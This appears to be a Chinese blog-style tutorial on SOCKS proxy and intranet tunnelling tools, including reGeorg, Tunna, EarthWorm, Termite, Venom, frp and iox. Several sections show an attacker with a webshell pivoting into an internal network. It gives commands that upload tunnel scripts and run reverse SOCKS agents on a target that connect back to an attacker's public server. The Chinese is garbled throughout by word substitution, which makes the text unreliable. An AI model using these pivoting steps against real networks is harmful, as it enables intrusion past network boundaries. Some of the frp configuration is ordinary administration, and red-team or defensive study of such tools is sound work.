利用Socks代理时,客户端会将网络要求发送到Socks代理做事器,然后代理做事器会将要求转发给目标做事器。目标做事器将相应发送回代理做事器,再由代理做事器转发给客户端。这样一来,目标做事器无法直接获取客户真个真实IP地址,保护了客户真个隐私。
Socks代理还可以实现一些额外的功能,如:
平时我们在开拓过程中会碰着http 代理和Socks 代理,而Socks 代理具有持续性和稳定性 在各个开拓中广泛利用。我们截几张图给大家感想熏染一下

下面先容一下几款常见的Socks 代理工具。
socks代理工具基于web做事的socks5工具基于web做事的socks5工具的优点是,在内网做事器不通外网的情形下也能正常利用。例如:
资产组里有2台机器:主机A、主机B。个中主机A上运行了Web做事,且IP或者端口映射到公网,可以被外部职员访问,主机B是在外网访问不到的。攻击者通过漏洞在主机A上传了Webshell,但同时又出于某些限定并未能得到主机A的主机权限也无法反弹shell,那么他这个时候,也是无法通过常规方法反弹shell或者直接登录主机A从而访问到主机B的。
此时基于web做事的socks5隧道就在这个时候起了浸染,攻击者已经有了主机A的webshell权限(即可以在web做事器中上传文件),而主机A可以和主机B通信。那么在主机A上安装相应工具,使得攻击者发出的要求以及目标机器的相应经由A的http转发,达到攻击者可以和主机B进行通信的效果。
常用的工具有:reGeorg,reDuh,Tunna和Proxifier。
reGeorgreGeorg是reDuh的升级版,紧张是把内网做事器的端口通过http/https隧道转发到本机,形成一个回路。用于目标做事器在内网或做了端口策略的情形下连接目标做事器内部开放端口。它利用webshell建立一个socks代理进行内网穿透,做事器必须支持aspx、php或jsp这些web程序中的一种。
下载地址:https://github.com/sensepost/reGeorg
首先选择对应脚本的tunnel上传到做事器
然后访问上传文件,显示如下则表示成功
在reGeorg文件夹下实行reGeorgSocksProxy.py,-p为指定隧道的端口,-u为刚刚上传的tunnel文件地址。
python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.php
打开Proxifier,变动为脚本指定的端口
本地电脑成功通过socks5带进了目标主机的内网
Tunna下载地址:https://github.com/SECFORCE/Tunna
Tunna和reduh事理一样.. 利用方法:
上传源码包中文件夹webshell下的脚本至网站目录然后本地进行连接上传的webshell即可python proxy.py -u http://172.0.0.1/conn.php -l 1234 -r 3389 -v#转发SSH做事须要加上-s参数避免中断
其它功能
#socks代理goto 对应idsocks 1080#shell管理shell 4444nc -v 127.0.0.1 4444#端口转发lcxtran 本地端口 目标ip 目标端口#上传下载文件upfile 本地文件路径 目标路径downfile 目标文件路径 本地存放路径
除了以上基本的socke5代理功能之外,部分软件还支持多层代理功能,下面大略先容一下几款多层代理工具。
能够进行多层代理的工具Earthworm(又称ew)该工具能够以“正向”、“反向”、“多级级联”等办法打通一条网络隧道,直达网络深处。
利用教程:http://rootkiter.com/EarthWorm/
利用条件:目标主机通外网,拥有自己的公网ip
选择对应主机操作系统的实行文件。
首先在公网做事器上实行:
./ew_for_linux64 -s rcsocks -l 10000 -e 11000#-l为Proxifier连接的端口,-e为目标主机和做事器的通信端口。
然后在目标主机中实行:
ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 11000
socks5隧道建立成功,成功把自己的主机带进目标内网。
利用Proxifier,配置ip和连接端口。
TermiteTermite 是EW(EarthWorm)的最新版,紧张特性: 多平台支持、跳板机互联、正反向级联、小巧无依赖、内置Shell令主机管理更方便。
官方网站: http://rootkiter.com/Termite/
项目地址:https://github.com/rootkiter/Termite
ew 和 termite已经不再进行掩护了,下载办法如下
git clone https://github.com/rootkiter/Binary-files.gitcd .\Binary-files\git checkout bd32230ls
利用办法
目标在公网
#目标A:
agent_win32.exe -l 8888
#PC:
admin_win32.exe -c 目标ip -p 8888
目标在内网(能出网)
#在做事器运行:
agent_win32.exe -l 8888
#在自己机器运行:
admin_win32.exe -c 做事器_ip -p 8888
#在目标机器运行:
agent_win32.exe -c 做事器_ip -p 8888
目标B在内网(不出网,通出网机器A)
agent正向连接
#a.在做事器运行:
agent_win32.exe -l 8888
#b.在PC运行:
admin_win32.exe -c 做事器_ip -p 8888
#c.在出网机器A运行:
agent_win32.exe -c 做事器_ip -p 8888
#d.在目标B运行:
agent_win32.exe -l 9000
#e.在PC运行:
goto A_id
connect B_ip 9000
agent间反向连
#a.在做事器运行:
agent_win32.exe -l 8888
#b.在PC运行:
admin_win32.exe -c 做事器_ip -p 8888
#c.在出网机器A运行:
agent_win32.exe -c 做事器_ip -p 8888
#d.在PC运行:
goto A_id
listen 9000
#e.在目标B运行:
agent_win32.exe -c A_ip -p 9000
venomVenom是一款为渗透测试职员设计的利用Go开拓的多级代理工具。Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。渗透测试职员可以利用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。
下载地址:https://github.com/Dliv3/Venom
安装
go get -u github.com/Dliv3/Venom/...# $GOPATH是安装Go时配置的环境变量,可通过go env命令查看cd $GOPATH/src/github.com/Dliv3/Venom# 编译好的二进制文件存放在当前目录下的release文件夹中./build.sh
admin/agent命令行参数,admin节点和agent节点均可监听连接也可发起连接。
admin监听端口,agent发起连接:
./admin_macos_x64 -lport 9999./agent_linux_x64 -rhost 192.168.0.103 -rport 9999
agent监听端口,admin发起连接:
./agent_linux_x64 -lport 8888./admin_macos_x64 -rhost 192.168.204.139 -rport 8888
fuso
https://github.com/editso/fuso
这是一款用于内网穿透 端口转发的神器,帮助运维 开拓 快速支配与接入内网 同时支持CobaltStrike 一键转发等功能。
此外还有一些多功能型的代理工具。
多功能型的代理工具frp通过SSH访问内网机器做事端配置
[common]bind_port = 7000 # 客户端通信端口./frps -c ./frps.ini # 临时nohup ./frps -c ./frps.ini & # 后台
客户端配置
[common]server_addr = x.x.x.xserver_port = 7000[ssh]type = tcplocal_ip = 127.0.0.1local_port = 22remote_port = 6000
local_ip配置为本地须要暴露到公网的做事地址。
local_port配置为本地须要暴露到公网的做事端口。
remote_port表示在 frp 做事端监听的端口,访问此端口的流量将会被转发到本地做事对应的端口。
启动
./frpc -c ./frpc.ini # 临时nohup ./frpc -c ./frpc.ini & # 后台
利用
ssh -oPort=6000 test@x.x.x.x
frp 会将要求 x.x.x.x:6000 的流量转发到内网机器的 22 端口
通过HTTP协议访问内网WEB做事HTTP 类型的代理比较于 TCP 类型,不仅在做事端只须要监听一个额外的端口 vhost_http_port用于吸收 HTTP 要求,还额外供应了基于 HTTP 协议的诸多功能。
做事端配置,修正 frps.ini 文件,设置监听 HTTP 要求端口为 8080:
[common]bind_port = 7000vhost_http_port = 8080
客户端配置
修正 frpc.ini 文件,假设 frps 所在的做事器的 IP 为 x.x.x.x,local_port为本地机器上 Web 做事监听的端口, 绑定自定义域名为 custom_domains。
[common]server_addr = x.x.x.xserver_port = 7000[web]type = httplocal_port = 80custom_domains = www.yourdomain.com[web2]type = httplocal_port = 8080custom_domains = www.yourdomain2.com
利用
分别启动 frps 和 frpc。将 www.yourdomain.com和 www.yourdomain2.com的域名 A 记录解析到 IP x.x.x.x,如果做事器已经有对应的域名,也可以将 CNAME 记录解析到做事器原来的域名。或者可以通过修正 HTTP 要求的 Host 字段来实现同样的效果。通过浏览器访问 http://www.yourdomain.com:8080即可访问到处于内网机器上 80 端口的做事,访问 http://www.yourdomain2.com:8080则访问到内网机器上 8080 端口的做事。通过socks5搭建隧道做事端配置,修正frps.ini配置文件
[common]bind_port = 7000
bind_port:绑定的端口
客户端配置,修正frpc.ini配置文件
[common]server_addr = x.x.x.xserver_port = 7000[test] remote_port = 10000 #代理的端口plugin = socks5 #利用的协议use_encryption = true #是否加密use_compression = true
remote_port: 代理的端口
plugin: 利用的协议
use_encryption: 是否加密
plugin_user= admin #socks5用户名
plugin_passwd= admin #socks5密码
利用
然后可以本机设置代理: socks5 xxx.xxx.xxx.xxx(做事器) 10000,即可访问内网系统
可以利用命令如下命令来测试sockets代理搭建的是否成功
curl --socks5 x.x.x.x:10000 http://www.baidu.com
其余可以在SwitchyOmega中配置sockets5代理可以实现2.2的功能
详细利用可以参考https://www.cnblogs.com/tomyyyyy/p/15195601.html
iox具有流量加密、友好的命令行参数、逻辑优化、UDP流量转发等优点
下载地址:https://github.com/EddieIvan01/iox
利用教程:https://www.freebuf.com/articles/network/244567.html
两种事情模式
fwd模式:同时监听 0.0.0.0:8888 和0.0.0.0:9999,将两个连接间的流量进行转发。
/iox fwd -l 8888 -l 9999#for lcx:./lcx -listen 8888 9999
监听0.0.0.0:8888,把流量转发到1.1.1.1:9999。
./iox fwd -l 8888 -r 1.1.1.1:9999#for lcx:./lcx -tran 8888 1.1.1.1 9999
连接1.1.1.1:8888和1.1.1.1:9999, 在两个连接间转发流量。
./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999#for lcx:./lcx -slave 1.1.1.1 8888 1.1.1.1 9999
proxy模式:
在本地 0.0.0.0:1080启动Socks5做事
./iox proxy -l 1080#for ew:./ew -s ssocksd -l 1080
在目标主机上开启Socks5做事,将通信流量转发年夜公网做事器,做事器年夜将流量从0.0.0.0:9999转发到0.0.0.0:1080。此时,你必须将两条命令成对利用,由于它内部包含了一个大略的协议来掌握回连。
./iox proxy -r 1.1.1.1:9999./iox proxy -l 9999 -l 1080 // 把稳,这两个端口是有顺序的#for ew:./ew -s rcsocks -l 1080 -e 9999./ew -s rssocks -d 1.1.1.1 -e 9999
总结:总之,Socks代理是一种用于网络传输的代理协议,可以隐蔽客户真个真实IP地址,并供应一些额外的功能。它被广泛运用于网络安全、隐私保护和访问掌握等领域。后面我们再先容一些平时用到的内网穿透代理工具给大家,感兴趣的朋友可以留言点赞。